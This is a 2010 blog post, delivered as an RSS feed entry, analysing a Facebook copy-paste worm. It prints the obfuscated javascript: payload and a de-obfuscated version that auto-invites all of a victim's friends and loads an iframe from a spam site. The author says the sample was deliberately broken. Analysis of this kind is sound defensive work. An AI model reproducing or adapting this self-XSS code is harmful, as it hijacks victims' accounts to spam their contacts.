<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RawDev.net &#187; JavaScript</title>
	<atom:link href="http://rawdev.net/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://rawdev.net</link>
	<description>Just another Zabreznik.si Sites site</description>
	<lastBuildDate>Fri, 30 Sep 2011 12:16:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Facebook Trojan Worm</title>
		<link>http://rawdev.net/2010/05/08/facebook-trojan-worm/</link>
		<comments>http://rawdev.net/2010/05/08/facebook-trojan-worm/#comments</comments>
		<pubDate>Sat, 08 May 2010 20:44:45 +0000</pubDate>
		<dc:creator>marko</dc:creator>
				<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.rawdev.net/?p=252</guid>
		<description><![CDATA[Guess what, Facebook has another worm &#8211; the social &#8220;please help me breed&#8221; engineering kind. Got a suggestion from a friend to a page called &#8220;Who Removed You&#8221; or &#8220;Get a free iWhatever&#8221; and clicked and found that it directs you to its summary page that asks you to copy-paste some code to your address bar. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Guess what, <a class="zem_slink" title="Facebook" rel="homepage" href="http://facebook.com">Facebook</a> has another worm &#8211; the social &#8220;please help me breed&#8221; engineering kind.</p>
<p style="text-align: justify;">Got a suggestion from a friend to a page called &#8220;Who Removed You&#8221; or &#8220;Get a free i<em>Whatever</em>&#8221; and clicked and found that it directs you to its summary page that asks you to copy-paste some code to your address bar. You did ?<a href="http://rawdev.net/files/2010/07/Clipboard02.jpg"><img class="alignnone size-medium wp-image-260" title="Clipboard02" src="http://rawdev.net/files/2010/07/Clipboard02-300x259.jpg" alt="" width="300" height="259" /></a></p>
<p>This is as basic as <a class="zem_slink" title="Social engineering (security)" rel="wikipedia" href="http://en.wikipedia.org/wiki/Social_engineering_%28security%29">social engineering</a> goes. As you de-obfuscate the code:</p>
<pre>javascript:var _0x8293=["\x69\x6E\x6E   .<strong>..     etc     ...   </strong>x65\x3E"];
var variables=[_0x8293[0],_0x8293[1],_0x8293[2],_0x8293[3]
,_0x8293[4],_0x8293[5],_0x8293[6],_0x8293[7],_0x8293[8],_0x8293[9],_0x8293[10],
_0x8293[11],_0x8293[12],_0x8293[13]];
void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true);
void ss[variables[9]](c);
void setTimeout(function (){fs[variables[10]]();} ,4000);
void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000);
void (document[variables[2]](variables[1])[variables[0]]=_0x8293[14]);</pre>
<p>you get something like:</p>
<pre>
<div>document.getElementById("app1153454353453_body").innerHTML = "&lt;a id=\"suggest\" href=\"#\" ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;amp;node_id=15345435345\ class=\" profile_action actionspro_a\" rel=\"dialog-post\"&gt;Suggest to Friends&lt;/a&gt;";</div>
<div>var ss=document.getElementById("suggest");</div>
<div>var c=document.createEvent("MouseEvents");</div>
<div>c.initEvent("click",true,true);</div>
<div>void ss.dispatchEvent(c);</div>
<div>void setTimeout(function (){fs.select_all();} ,4000);</div>
<div>void setTimeout(function (){SocialGraphManager.submitDialog("sgm_invite_form","/ajax/social_graph/invite_dialog.php");} ,5000);</div>
<div>void (document.getElementById("app1153454353453_body").innerHTML="&lt;iframe src=\"http:// whodeletedyou dot blogspot.com/p/click-here-to-find-out-how-to-know-who.html\" style=\"width: 800px; height: 600px;\" frameborder=0 scrolling=\"no\"&gt;&lt;/iframe&gt;");</div>
</pre>
<p style="text-align: justify;"><em>Note: I intentionally broke this sample.</em></p>
<p style="text-align: justify;">The code makes a &#8220;suggest to friends&#8221; popup, selects them all and sends it &#8211; you have no idea what hapened &#8211; then it sends you to another spam site &#8211; often asking you to fill out a survey.</p>
<p style="text-align: justify;">This is the kind of thing that wont happen to most Facebook users ( as the concept of <a class="zem_slink" title="Cut, copy, and paste" rel="wikipedia" href="http://en.wikipedia.org/wiki/Cut%2C_copy%2C_and_paste">copy/paste</a> and address bar is way beyond most people &#8211; not to mention the hand coordination one has to have to select the code ), so don&#8217;t expect this kind of thing from your Mom. (unless she just mass suggests everything by herself anyway ). /rant</p>
<p style="text-align: justify;">As for the guy that worried who removed him so much he just had to copy+paste: Don&#8217;t worry, <strong><em>you wont see</em><span style="font-weight: normal;"><em><strong> me go</strong>.</em></span></strong></p>
<p style="text-align: justify;">In related news, there is no way to report these kind of issues to Facebook.</p>
<p style="text-align: justify;">~copy&amp;paste</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=3034d2c5-67bf-404b-a1ca-5cd20c00ef03" alt="" /><span class="zem-script more-related pretty-attribution"> </span></div>
]]></content:encoded>
			<wfw:commentRss>http://rawdev.net/2010/05/08/facebook-trojan-worm/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

